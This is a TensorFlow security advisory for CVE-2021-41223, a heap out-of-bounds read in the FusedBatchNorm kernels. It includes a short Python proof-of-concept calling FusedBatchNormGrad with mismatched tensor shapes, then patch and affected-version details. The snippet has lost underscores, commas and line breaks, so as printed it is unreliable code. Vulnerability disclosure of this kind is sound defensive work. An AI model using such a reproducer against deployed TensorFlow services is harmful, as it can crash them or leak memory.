CVE-2021-41223: Heap OOB read in `FusedBatchNorm` kernels
Impact The implementation of FusedBatchNorm kernels is vulnerable to a heap OOB:
python import tensorflow as tf tf.rawops.FusedBatchNormGrad( ybackprop=tf.constant([i for i in range(9)],shape=(1,1,3,3),dtype=tf.float32) x=tf.constant([i for i in range(2)],shape=(1,1,1,2),dtype=tf.float32) scale=[1,1], reservespace1=[1,1], reservespace2=[1,1,1], epsilon=1.0, dataformat='NCHW', istraining=True) Patches We have patched the issue in GitHub commit aab9998916c2ffbd8f0592059fad352622f89cda.
The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
